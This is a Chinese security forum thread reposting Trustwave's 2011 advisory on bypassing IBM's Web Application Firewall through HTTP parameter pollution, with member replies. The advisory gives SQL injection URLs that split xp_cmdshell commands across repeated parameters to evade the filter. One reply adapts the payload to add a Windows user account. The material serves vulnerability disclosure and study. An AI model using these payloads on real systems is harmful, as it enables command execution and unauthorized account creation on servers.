# IBM Web Application Firewall Bypass

**URL:** <https://forum.90sec.com/t/topic/2848>\
**Category:** 交流讨论\
**Created:** [2011 年11 月 7 日 09:09 UTC](https://forum.90sec.com/t/topic/2848 "2011-11-07T09:09:52Z")\
**Posts on this page:** 6\
**Page:** 1

<div class="post-metadata">

作者： ![Agile](https://forum.90sec.com/user_avatar/forum.90sec.com/agile/32/11326_2.png) [@Agile](https://forum.90sec.com/u/Agile)\
发布日期： [2011 年11 月 7 日 09:09 UTC](https://forum.90sec.com/t/topic/2848/1 "2011-11-07T09:09:52Z")

</div>

Trustwave's SpiderLabs Security Advisory TWSL2011-006:  
IBM Web Application Firewall Bypass

[https://www.trustwave.com/spiderlabs/advisories/TWSL2011-006.txt](https://www.trustwave.com/spiderlabs/advisories/TWSL2011-006.txt)

Published: 2011-06-21  
Version: 1.0

Vendor: IBM  
Product: IBM Web Application Firewall  
These capabilities are included through SiteProtector 7.0 and later  
software within IBM Security Network IPS GX products, IBM Security Server  
Protection products, and IBM Security Multi-Function product lines during  
2H of 2009.

Versions affected:  
Tested against G400 IPS-G400-IB-1 (Intrusion Prevention  
Update: 2011-03-11 00:34:23 - version: 31.030) and GX4004 IPS-GX4004-IB-2  
(Intrusion Prevention Update: 2011-03-10 23:49:15 - version: 31.030).

Product description:  
IBM Web Application Firewall capabilities inside IBM IPS products  
complement IBM Security's portfolio of web application security offerings  
to deliver end-to-end Web application security solutions.

Credit: Wendel Guglielmetti Henrique of Trustwave's SpiderLabs

Finding: IBM Web Application Firewall Bypass

The IBM Web Application Firewall can be evaded, allowing an attacker to  
exploit web vulnerabilities that the product intends to protect. The issue  
occurs when an attacker submits repeated occurrences of the same parameter.

The example shown below uses the following environment:  
A web environment using Microsoft IIS, ASP .NET technology, Microsoft  
SQL Server 2000, being protected by the IBM Web Application Firewall.

As expected, the following request will be identified and blocked  
(depending  
of configuration) by the IBM Web application firewall.

[http://sitename/find\_ta\_def.aspx?id=2571&iid=](http://sitename/find_ta_def.aspx?id=2571&iid=)'; EXEC  
master..xp\_cmdshell "ping 10.1.1.3" --

IIS with [ASP.NET](http://ASP.NET) (and even pure ASP) technology will concatenate the  
contents  
of a parameter if multiple entries are part of the request.

[http://sitename/find\_ta\_def.aspx?id=2571&iid=](http://sitename/find_ta_def.aspx?id=2571&iid=)'; EXEC  
master..xp\_cmdshell &iid= "ping 10.1.1.3" --

IIS with [ASP.NET](http://ASP.NET) (and even pure ASP) technology will concatenate both  
entries of iid parameter, however it will include an comma "," between  
them, resulting in the following output being sent to the database.

'; EXEC master..xp\_cmdshell , "ping 10.1.1.3" --

The request above will be identified and blocked (depending of  
configuration) by IBM Web application firewall, because it appears that  
"EXEC" and "xp\_cmdshell" trigger an attack pattern.

However, it is possible to split all the spaces in multiple parameters. For  
example:

[http://sitename/find\_ta\_def.aspx?id=2571&iid=](http://sitename/find_ta_def.aspx?id=2571&iid=)'; &iid= EXEC  
&iid= master..xp\_cmdshell &iid= "ping 10.1.1.3" &iid= --

The above request will bypass the affected IBM Web application firewall,  
resulting in the following output being sent to the database.

'; , EXEC , master..xp\_cmdshell , "ping 10.1.1.3" , --

However, the above SQL code will not be properly executed because of the  
comma inserted on the SQL query, to solve this situation we will use SQL  
comments.

[http://sitename/find\_ta\_def.aspx?id=2571&iid=](http://sitename/find_ta_def.aspx?id=2571&iid=)'; /_&iid=1_/ EXEC  
/_&iid=1_/ master..xp\_cmdshell /_&iid=1_/ "ping 10.1.1.3" /_&iid=1_/ --

The above request will bypass IBM Web application firewall, resulting in  
the following output being sent to the database, which is a valid and  
working SQL code.

'; /_,1_/ EXEC /_,1_/ master..xp\_cmdshell /_,1_/ "ping 10.1.1.3" /_,1_/ --

The above code will execute the ping command on the Microsoft Windows  
backend, assuming the application was running with administrative  
privileges.

This attack class is also referenced sometimes as HTTP Pollution Attack,  
HTTP Parameter Pollution (HPP) and HTTP Parameter Concatenation.

The exploitability of this issue depends of the infrastructure (WebServer,  
Development Framework Technology, etc) technology being used.

Remediation Steps:  
IBM has released fixes to the above issue in the "Super Tuesday" patch  
released in June. Refer to the references section of the advisory for  
further information released by IBM.

Revision History:  
04/07/11 - Vulnerability disclosed  
06/16/11 - Patch released  
06/21/11 - Advisory published

References:  
1.  
[http://www.iss.net/security\_center/reference/vuln/HTTP\_Parameter\_Abuse.htm](http://www.iss.net/security_center/reference/vuln/HTTP_Parameter_Abuse.htm)  
2. [http://xforce.iss.net/xforce/xfdb/67178](http://xforce.iss.net/xforce/xfdb/67178)

About Trustwave:  
Trustwave is the leading provider of on-demand and subscription-based  
information security and payment card industry compliance management  
solutions to businesses and government entities throughout the world. For  
organizations faced with today's challenging data security and compliance  
environment, Trustwave provides a unique approach with comprehensive  
solutions that include its flagship TrustKeeper compliance management  
software and other proprietary security solutions. Trustwave has helped  
thousands of organizations--ranging from Fortune 500 businesses and large  
financial institutions to small and medium-sized retailers--manage  
compliance and secure their network infrastructure, data communications and  
critical information assets. Trustwave is headquartered in Chicago with  
offices throughout North America, South America, Europe, Africa, China and  
Australia. For more information, visit [https://www.trustwave.com](https://www.trustwave.com)

About Trustwave's SpiderLabs:  
SpiderLabs(R) is the advanced security team at Trustwave focused on  
application security, incident response, penetration testing, physical  
security and security research. The team has performed over a thousand  
incident investigations, thousands of penetration tests and hundreds of  
application security tests globally. In addition, the SpiderLabs Research  
team provides intelligence through bleeding-edge research and proof of  
concept tool development to enhance Trustwave's products and services.  
[https://www.trustwave.com/spiderlabs](https://www.trustwave.com/spiderlabs)

Disclaimer:  
The information provided in this advisory is provided "as is" without  
warranty of any kind. Trustwave disclaims all warranties, either express or  
implied, including the warranties of merchantability and fitness for a  
particular purpose. In no event shall Trustwave or its suppliers be liable  
for any damages whatsoever including direct, indirect, incidental,  
consequential, loss of business profits or special damages, even if  
Trustwave or its suppliers have been advised of the possibility of such  
damages. Some states do not allow the exclusion or limitation of liability  
for consequential or incidental damages so the foregoing limitation may not  
apply.

This transmission may contain information that is privileged, confidential, and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is STRICTLY PROHIBITED. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format.

* * *

Full-Disclosure - We believe in it.  
Charter: [http://lists.grok.org.uk/full-disclosure-charter.html](http://lists.grok.org.uk/full-disclosure-charter.html)  
Hosted and sponsored by Secunia - [http://secunia.com/](http://secunia.com/)

鸟语不好 也没去翻译了 估计是对WEB的某套ASPX程序或者是WEB的ASPX的新的注射方式

---

<div class="post-metadata">

作者： ![user22](https://forum.90sec.com/user_avatar/forum.90sec.com/user22/32/11361_2.png) [@user22](https://forum.90sec.com/u/user22)\
发布日期： [2011 年11 月 7 日 10:01 UTC](https://forum.90sec.com/t/topic/2848/2 "2011-11-07T10:01:21Z")

</div>

我看到了盲注这几个字{:4\_51:}

---

<div class="post-metadata">

作者： ![user48](https://forum.90sec.com/letter_avatar_proxy/v4/letter/u/bc8723/32.png) [@user48](https://forum.90sec.com/u/user48)\
发布日期： [2012 年1 月 13 日 11:31 UTC](https://forum.90sec.com/t/topic/2848/3 "2012-01-13T11:31:10Z")

</div>

IBM Web Application Firewall  
ibm的web应用防火墙

---

<div class="post-metadata">

作者： ![hack2012](https://forum.90sec.com/user_avatar/forum.90sec.com/hack2012/32/908_2.png) [@hack2012](https://forum.90sec.com/u/hack2012)\
发布日期： [2012 年2 月 11 日 04:47 UTC](https://forum.90sec.com/t/topic/2848/4 "2012-02-11T04:47:08Z")

</div>

这个要看环境的，如果是IIS+ASP/ASPX的情况下才能运行成功。  
例如：[http://www.waitalone.cn/ibm.asp?id=1&id=2](http://www.waitalone.cn/ibm.asp?id=1&id=2)  
IIS+ASP/ASPX的情况下，id获取的值为1,2  
所以遇到IBM的防火墙的时候可以利用这个特性来绕过防火墙  
[http://www.waitalone.cn/ibm.asp?id=1'](http://www.waitalone.cn/ibm.asp?id=1');/_&id=1_/exec/_&id=1_/master..xp\_cmdshell/_&id=1_/'net user waitalone [waitalone.cn](http://waitalone.cn) /add'/_&id=1_/-- 经过防火墙时会被折分成这样的  
id=1';/\*  
id=1\*/exec/\*  
id=1\*/master..xp\_cmdshell/\*  
id=1\*/'net user waitalone [waitalone.cn](http://waitalone.cn) /add'/\*  
id=1\*/--  
这样的参数一般防火墙不会拦截的，他会认为是正常的。  
但是参数经防火墙再传到IIS后又会被还原成这样的  
id=1';/_,1_/exec/_,1_/master..xp\_cmdshell/_,1_/'net user waitalone [waitalone.cn](http://waitalone.cn) /add'/_,1_/--  
而/\*\*/里面的东西是注释符，这样在IIS里面就会执行成这样  
id=1';exec master..xp\_cmdshell 'net user waitalone [waitalone.cn](http://waitalone.cn) /add' --

这样你明白一点了没有的？

---

<div class="post-metadata">

作者： ![hack2012](https://forum.90sec.com/user_avatar/forum.90sec.com/hack2012/32/908_2.png) [@hack2012](https://forum.90sec.com/u/hack2012)\
发布日期： [2012 年3 月 2 日 10:10 UTC](https://forum.90sec.com/t/topic/2848/5 "2012-03-02T10:10:59Z")

</div>

这个是写的怎么绕过ibm的Web防火墙的文章，兄弟们研究一下哦！！

这个绕过方式只适合iis！

---

<div class="post-metadata">

作者： ![user56](https://forum.90sec.com/user_avatar/forum.90sec.com/user56/32/11423_2.png) [@user56](https://forum.90sec.com/u/user56)\
发布日期： [2012 年3 月 15 日 15:52 UTC](https://forum.90sec.com/t/topic/2848/6 "2012-03-15T15:52:06Z")

</div>

学习学习。。。。
